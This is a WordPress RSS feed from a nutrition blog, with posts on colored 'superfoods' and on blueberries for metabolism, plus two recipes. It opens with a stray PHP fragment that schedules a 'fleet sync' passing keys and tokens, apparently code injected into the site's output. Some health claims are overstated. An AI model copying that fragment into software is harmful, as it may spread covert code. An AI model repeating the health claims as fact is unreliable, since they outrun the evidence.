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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Benefits of Blueberries – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Mon, 21 Jul 2014 19:27:41 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Benefits of Blueberries – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Independence Day Colored Superfoods https://skinnygeneprojectnew.dreamsites.io/independence-day-colored-superfood/ https://skinnygeneprojectnew.dreamsites.io/independence-day-colored-superfood/#respond Mon, 21 Jul 2014 19:27:41 +0000 http://skinnygeneproject.dreamhosters.com/?p=2203 By Eileen Ferrer, Skinny Gene Nutritionist

When I imagine a superfood, I think of a piece of bright green broccoli with a flowing white cape, flying in the air looking for junk food bad guys.

Superhero2wotxt

 

However, I have a huge imagination, and I may take the word a little too literal.  But this term superfood is used quite often to describe a food that is high in nutrients, and is very beneficial to your health.  There are a variety of superfoods that possess vitamins, minerals, antioxidants, and phytonutrients.

In the spirit of Independence Day, we celebrate this July with red, white, and blue in mind.

Red Superfoods

Starting with the red superfoods.  Many red fruits and vegetables contain an antioxidant independence colored foodscalled lycopene that gives them that vibrant red color.  Lycopene has been shown to reduce the risks of some cancers, heart disease, and age-related eye problems, as well as help with increasing the skin’s natural SPF.  Lycopene-rich fruits are watermelon and tomatoes, both refreshing juicy fruits that are great for a summer salad.  Raspberries are also the perfect summer berry.  They are a good source of vitamin K, which helps blood clot when we get a nasty cut, and is full of dietary fiber.  But if you are craving something with a little heat, eat hot peppers.  Hot peppers contain capsaicin, which gives peppers their heat.  Capsaicin stimulates the mucous membranes in the nose and respiratory tract, which also stimulates drainage, and clears out congestion.

White Superfoods

The white superfoods are just as good.  An amazing vegetable cauliflower is full of vitamin C and vitamin K.  Vitamin C is an antioxidant, and is necessary for growth and repair of tissues in all parts of the body.  It can be eaten uncooked with tasty hummus, in a stir fry or as a delicious alternative to mashed potatoes; it is very versatile and super nutritious.  How about adding some tofu in to that stir fry mix?  Tofu, which is made from soybeans, is an alternative to meat protein.  Tofu is another one of those versatile foods.  It can be baked, grilled, sautéed with veggies, and even added to smoothies for an extra protein kick.  Tofu definitely lacks the saturated fat and cholesterol that animal proteins contain.  Plain yogurt also makes the cut for being a superfood.  It contains probiotic bacteria that promote a healthy digestive system.  Blend up yogurt with raspberries, sweetened with a little honey, and freeze to cool off from the summer heat.  Another great superfood is coconut.  Coconut water has a high electrolyte content that can even replace sports drinks.

Blue Superfoods

Last but not least are the blue superfoods.  Blue fruits and vegetables are packed with beneficial, health-promoting antioxidants, such as anthocyanins and vitamin C.  Eating your blue superfoods will not make you blue, as it did with Violet Beuregarde from Willy Wonka and the Chocolate Factory movie.  On the other hand, these tiny blue superfoods like blueberries, acai berries, and grapes may lower risks for some cancers, decrease cholesterol levels, promote healthy aging and urinary tract health, and help with memory function.

These superfoods may not have a cape like I imagine, but they do fight to keep us healthy.  Keep the summer going, and eat more red, white, and blue superfoods.

]]> https://skinnygeneprojectnew.dreamsites.io/independence-day-colored-superfood/feed/ 0 Boost Your Metabolism Series- Blueberries https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-blueberries/ https://skinnygeneprojectnew.dreamsites.io/boost-your-metabolism-series-blueberries/#respond Fri, 06 May 2011 22:02:13 +0000 http://skinnygeneproject.dreamhosters.com/?p=1214 We are providing a 10-part series on our TOP 10 FOODS TO BOOST YOUR METABOLISM.  This is the 3rd post. To learn more about the Boost Your Metabolism series, please click here!

BOOST YOUR METABOLISM 

The secret to boosting your metabolism is FEEDING your body what it needs.  

You must eat the right foods, in the right quantities, to get your metabolism working for you, rather than against you. The amount of water, fat, fiber, protein, carbohydrates, sodium, cholesterol, EFAs (Essential Fatty Acids), and vitamins & minerals you consume on a daily basis will either increase your metabolism or your waistline.

The third one in our TOP 10 FAVORITE FOODS TO BOOST YOUR METABOLISM is BLUEBERRIES!

BENEFITS OF BLUEBERRIES

 

Photo by Karen D

How many blue foods can you name?

  Of course there’s the obvious, blueberries, but there aren’t too many more!  That’s what makes blueberries a super food.  The rich bluish, reddish colored fruit provides antioxidants and phytochemicals that help prevent heart disease, stroke, and cancer – three of the top 10 causes of death in America. 

WE NEED TO EAT MORE BLUEBERRIES!

 

 

 

Here are a few bonuses of eating a diet rich in blueberries:

 1. They are the ULTIMATE BRAIN FOOD

Research has found that blueberries improve memory, not just your short-term memory, but also reduce the risk of Alzheimer’s disease. 

2. They are SNEAKY

The brain normally protects itself and doesn’t let anything in, but the phytonutrients in blueberries are actually able to cross the blood brain barrier to “nourish the brain”. 

3. They HELP WITH PREVENTION

Here is the metabolic kicker.  Blueberries have been found to lower blood glucose levels, meaning daily consumption is consistent with better glucose regulation, which is ideal in the prevention of diabetes. 

Here are some ideas to eat more blueberries to help optimize your health and metabolism:

  • Swap out the usual OJ for blueberry juice in the morning to give your brain a memory boost.
  • Eat blueberries daily, fresh or frozen.
  • Look for creative ways to incorporate blueberries.  Try adding blueberries to yogurts, oatmeal, salads, cottage cheese, smoothies, fruit salads, etc.

Caution with blueberries in syrup (or in pies), this nearly triples the calories!

BLUEBERRY RECIPES 

 
 

Cooking Light- July 2002

Photo by Becky Luigart-Stayner

Blueberry Cobbler

 

While variations abound, a traditional cobbler is a baked, deep-dish fruit dessert that’s topped with a biscuit sprinkled with sugar to give it a bit of crunch and color. This blueberry cobbler is a similar version that uses a light, dumpling-like topping instead of a dense biscuit.

YIELD: 8 servings

Ingredients

  • Filling:
  • 6 cups fresh blueberries
  • 1/3 cup sugar
  • 2 tablespoons cornstarch
  • 1 teaspoon grated lemon rind
  • Topping:
  • 1 1/3 cups all-purpose flour
  • 2 tablespoons sugar
  • 3/4 teaspoon baking powder
  • 1/4 teaspoon salt
  • 1/4 teaspoon baking soda
  • 5 tablespoons chilled butter, cut into small pieces
  • 1 cup fat-free sour cream
  • 3 tablespoons 2% reduced-fat milk
  • 1 teaspoon sugar

Preparation

Preheat oven to 350°.

To prepare filling, combine first 4 ingredients in an 11 x 7-inch baking dish.

To prepare topping, lightly spoon flour into dry measuring cups; level with a knife. Combine flour and next 4 ingredients (flour through baking soda) in a large bowl, stirring with a whisk. Cut in butter with a pastry blender or 2 knives until mixture resembles coarse meal. Stir in sour cream to form a soft dough.

Drop dough by spoonfuls onto blueberry filling to form 8 dumplings. Brush dumplings with milk; sprinkle with 1 teaspoon sugar. Place baking dish on a jelly roll pan. Bake at 350° for 50 minutes or until filling is bubbly and dumplings are lightly browned

Nutritional Information
  • Amount per serving
  • Calories: 288
  • Calories from fat: 26%
  • Fat: 8.3g
  • Saturated fat: 4.9g
  • Monounsaturated fat: 2.2g
  • Polyunsaturated fat: 0.5g
  • Protein: 4.7g
  • Carbohydrate: 50.8g
  • Fiber: 3.5g
  • Cholesterol: 23mg
  • Iron: 1.3mg
  • Sodium: 265mg
  • Calcium: 90mg

All-American Chicken Blueberry Salad Platter

By the Blueberry Council

http://www.blueberrycouncil.com/recipes-popup.php?id=80

YIELD: 4 portions

1/3 cup bottled vinaigrette dressing
1 tablespoon orange marmalade
1 tablespoon reduced fat mayonnaise
2 cups 1/2-inch cubes cooked chicken breast
2 cups blueberries
1/2 cup 1/2-inch cubes red bell pepper
2 small scallions, sliced (about 3 tablespoons)
Salt and ground black pepper
4 large slices whole grain country bread
4 slices (3/4-inch thick) iceberg lettuce (cut crosswise through center of head)
8 to 12 thin crosswise slices tomato

In a large bowl, combine vinaigrette, marmalade, and mayonnaise; set aside 2 tablespoons. Stir chicken, blueberries, red pepper, and scallions into remaining dressing in the bowl. Add salt and pepper to taste. Place one slice toast on each of 4 dinner plates; divide salad onto toast. Arrange lettuce and tomatoes beside sandwich and drizzle with reserved dressing.

Per Portion: Calories 410; Protein 32 g; Carbohydrate 36 g: Fat 16 g; Fiber 6 g;
Calories from Fat 34%

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